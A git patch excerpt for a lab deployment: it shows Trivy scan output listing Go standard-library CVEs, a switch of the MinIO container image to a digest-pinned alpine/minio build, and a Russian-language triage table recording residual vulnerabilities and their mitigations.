https://github.com/advisories/GHSA-hrxh-6v49-42gf │ +├──────────────────────────────────┼─────────────────────┼──────────┤ ├────────────────────────────────────┼───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ stdlib │ CVE-2025-68121 │ CRITICAL │ │ v1.24.9 │ 1.24.13, 1.25.7, 1.26.0-rc.3 │ crypto/tls: crypto/tls: Incorrect certificate validation │ +│ │ │ │ │ │ │ during TLS session resumption │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-68121 │ +│ ├─────────────────────┼──────────┤ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61726 │ HIGH │ │ │ 1.24.12, 1.25.6 │ golang: net/url: Memory exhaustion in query parameter │ +│ │ │ │ │ │ │ parsing in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61726 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2025-61729 │ │ │ │ 1.24.11, 1.25.5 │ crypto/x509: golang: Denial of Service due to excessive │ +│ │ │ │ │ │ │ resource consumption via crafted... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2025-61729 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-111943 │ │ │ │ 1.26.10, 1.27.3 │ crypto/x509: golang: crypto/x509: Man-in-the-middle attacks │ +│ │ │ │ │ │ │ via untrusted intermediate certificates │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-111943 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-25679 │ │ │ │ 1.25.8, 1.26.1 │ net/url: Incorrect parsing of IPv6 host literals in net/url │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-25679 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-27145 │ │ │ │ 1.25.11, 1.26.4 │ crypto/x509: golang: golang crypto/x509: Denial of Service │ +│ │ │ │ │ │ │ via excessive processing of DNS... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-27145 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32280 │ │ │ │ 1.25.9, 1.26.2 │ crypto/x509: crypto/tls: golang: Go: Denial of Service │ +│ │ │ │ │ │ │ vulnerability in certificate chain building... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32280 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32281 │ │ │ │ │ crypto/x509: golang: Go crypto/x509: Denial of Service via │ +│ │ │ │ │ │ │ inefficient certificate chain validation... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32281 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-32283 │ │ │ │ │ crypto/tls: golang: Go crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple TLS 1.3 key... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-32283 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33811 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via long │ +│ │ │ │ │ │ │ CNAME response... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33811 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33814 │ │ │ │ │ net/http/internal/http2: golang: golang.org/x/net: Go │ +│ │ │ │ │ │ │ HTTP/2: Denial of Service via malformed │ +│ │ │ │ │ │ │ SETTINGS_MAX_FRAME_SIZE frame... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33814 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-33818 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ encoding/asn1: golang: Go encoding/asn1: Denial of Service │ +│ │ │ │ │ │ │ via excessive recursion in Unmarshal... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-33818 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39820 │ │ │ │ 1.25.10, 1.26.3 │ net/mail: golang: Go net/mail: Denial of Service via crafted │ +│ │ │ │ │ │ │ email inputs │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39820 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39821 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ golang.org/x/net/idna: golang: net/http: │ +│ │ │ │ │ │ │ golang.org/x/net/idna: Privilege escalation via incorrect │ +│ │ │ │ │ │ │ Punycode label processing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39821 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39822 │ │ │ │ 1.25.12, 1.26.5, 1.27.0-rc.2 │ golang: Go os.Root: Symlink following vulnerability allows │ +│ │ │ │ │ │ │ directory traversal │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39822 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-39836 │ │ │ │ 1.25.10, 1.26.3 │ net: golang: Go net package: Denial of Service via NUL byte │ +│ │ │ │ │ │ │ in... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-39836 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42499 │ │ │ │ │ net/mail: golang: net/mail: Denial of Service via │ +│ │ │ │ │ │ │ pathological email address parsing │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42499 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-42504 │ │ │ │ 1.25.11, 1.26.4 │ mime: golang: Golang MIME: Denial of Service via │ +│ │ │ │ │ │ │ maliciously-crafted MIME header │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-42504 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56853 │ │ │ │ 1.25.13, 1.26.6, 1.27.0-rc.3 │ net/http: golang: Go net/http: Unencrypted HTTP/2 │ +│ │ │ │ │ │ │ connections vulnerable to Denial of Service... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56853 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56858 │ │ │ │ │ html/template: golang: Go html/template: Cross-Site │ +│ │ │ │ │ │ │ Scripting via pathological input │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56858 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56859 │ │ │ │ │ encoding/xml: golang: Go: Denial of Service via XML decoding │ +│ │ │ │ │ │ │ recursion depth issue... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56859 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56860 │ │ │ │ │ net/url: golang: golang net/url: Denial of Service from │ +│ │ │ │ │ │ │ quadratic complexity in path... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56860 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-56862 │ │ │ │ │ crypto/tls: golang: Golang crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ indefinite KeyUpdate messages │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-56862 │ +│ ├─────────────────────┤ │ │ ├───────────────────────────────────────────────────────────┼──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78667 │ │ │ │ 1.26.9, 1.27.2 │ net/http: golang: golang: Denial of Service via crafted HTTP │ +│ │ │ │ │ │ │ Range headers │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78667 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-78669 │ │ │ │ │ net/http: net/http/internal/http2: golang.org/x/net/http2: │ +│ │ │ │ │ │ │ net/http: Denial of Service via excessive HTTP/2 SETTINGS │ +│ │ │ │ │ │ │ frames... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-78669 │ +│ ├─────────────────────┤ │ │ │ ├──────────────────────────────────────────────────────────────┤ +│ │ CVE-2026-97031 │ │ │ │ │ crypto/tls: golang: crypto/tls: Denial of Service via │ +│ │ │ │ │ │ │ multiple ECH outer extension references... │ +│ │ │ │ │ │ │ https://avd.aquasec.com/nvd/cve-2026-97031 │ +└──────────────────────────────────┴─────────────────────┴──────────┴──────────┴────────────────────────────────────┴───────────────────────────────────────────────────────────┴──────────────────────────────────────────────────────────────┘ diff --git a/scripts/scan_images.sh b/scripts/scan_images.sh index 709c701..f039b32 100755 --- a/scripts/scan_images.sh +++ b/scripts/scan_images.sh @@ -18,7 +18,7 @@ db postgres:16.9-bookworm redis redis:7.4.3-bookworm gateway haproxy:3.0.11-bookworm bao openbao/openbao:2.7.2 -minio cgr.dev/chainguard/minio@sha256:616286de6ef3a1892876b126e745e152d8e03add6357203f8a1f854bdd1dce76 +minio docker.io/alpine/minio@sha256:cf23643a6cf9ce159c57643ceb88279e431262282428c9e0bf3a7ef1a97e84b4 mc mtusi2026lab7-mc:2025-04-16 collector otel/opentelemetry-collector-contrib:0.123.0 prometheus prom/prometheus:v3.2.1 diff --git a/security/SCAN_TRIAGE.md b/security/SCAN_TRIAGE.md index 1e02d63..405f921 100644 --- a/security/SCAN_TRIAGE.md +++ b/security/SCAN_TRIAGE.md @@ -9,7 +9,7 @@ Lock Python проверен pip-audit 2.10.1. Trivy 0.69.3 проверил 12 | --- | --- | --- | | Starlette 0.46.2 и OpenTelemetry API 1.38.0 | Starlette обслуживает HTTP API, OTel включён во всех процессах приложения. Часть advisory касается неиспользуемых middleware, multipart и WebSocket | Обновлены FastAPI/Starlette до 0.162.4/1.7.0 и совместимый набор OTel до 1.45.2. Повторный pip-audit оставил находки только в Pillow. | | Pillow 12.0.0, затем 12.3.0 | Allowlist PNG/JPEG закрывает TIFF, GIF, PDF, FPX и JPEG2000. JPEG draft не используется, JPEG-выход не получает входные EXIF/ICC/comment. PNG/EXIF и нативный декодер достижимы, в частности APNG allocation и повторный EXIF marker | Обновление до 12.3.0 устранило записи с fix до 12.3.0. Сканер сообщил ещё 39 записей с fix в 13.0.0, такой версии PyPI на момент установки не предлагал. Ограничения 10 MiB и 40 MP, subprocess с RLIMIT_AS 512 MiB и deadline 30 с, worker cgroup 768 MiB. В API проверяется файл, риск нативного парсинга сохраняется. [Повторный pip-audit](../evidence/pip-audit-final.json) | -| MinIO RELEASE.2025-04-22, CVE-2025-62506 и OIDC/LDAP advisories | Стенд использует IAM user keys. STS, LDAP и OIDC выключены. Границу S3 IAM повторно проверили после обновления | Образ заменён на Chainguard MinIO RELEASE.2026-11-09 по digest. Данные и ACL проверены. Trivy распознал пакеты Wolfi, инвентарь Go-модулей этого digest в выводе отсутствует. [Скан](../evidence/trivy-minio.txt) | +| MinIO RELEASE.2025-04-22, CVE-2025-62506 и OIDC/LDAP advisories | Стенд использует IAM user keys. STS, LDAP и OIDC выключены. Границу S3 IAM повторно проверили после обновления | Сначала использовался Chainguard MinIO, но скачивание его digest в CI вернуло 403. Итоговый образ `alpine/minio` закреплён по digest, содержит upstream MinIO RELEASE.2025-10-15T17-29-55Z (модуль `9e49d5e7a648` с исправлением CVE-2025-62506). Повторный Trivy обнаружил остаточные уязвимости Alpine и Go, включая CVE-2026-33322 в OIDC. Поверхность OIDC/LDAP в конфигурации выключена, прочие находки сохраняются. [Скан](../evidence/trivy-minio.txt) | | OpenBao 2.4.4, CVE-2026-33757 / 33758 / 63132 | OIDC и recovery mode выключены, выдача credentials критична для стенда | Обновлён до 2.7.2 с single-node Raft. Сканер оставил HIGH в транзитивных модулях. Cert auth, TLS и policies проверены на новой версии. [Скан](../evidence/trivy-bao.txt) | | CVE-2026-33186, gRPC в Collector/Tempo/Grafana | OTLP между контейнерами работает по HTTP/mTLS. gRPC Tempo/Loki привязан к loopback, клиенты из bridge-сети не подключаются | Риск ограничен локальным namespace и достижимыми компонентами. [Collector](../evidence/trivy-collector.txt) · [Tempo](../evidence/trivy-tempo.txt) · [Grafana](../evidence/trivy-grafana.txt) | | CVE-2026-31789 в OpenSSL и находки базовых OS-образов | Указанный overflow OpenSSL относится к 32-bit, стенд amd64. Другие findings затрагивают TLS и базовые пакеты. GnuTLS DTLS не используется ingress | Короткие доверенные leaf, TLS 1.2+, ограниченные порты и права снижают поверхность. Обновления базовых образов и повторный scan нужны перед внешним использованием. [HAProxy](../evidence/trivy-gateway.txt) · [PostgreSQL](../evidence/trivy-db.txt) · [Приложение](../evidence/trivy-app.txt) | -- 2.54.0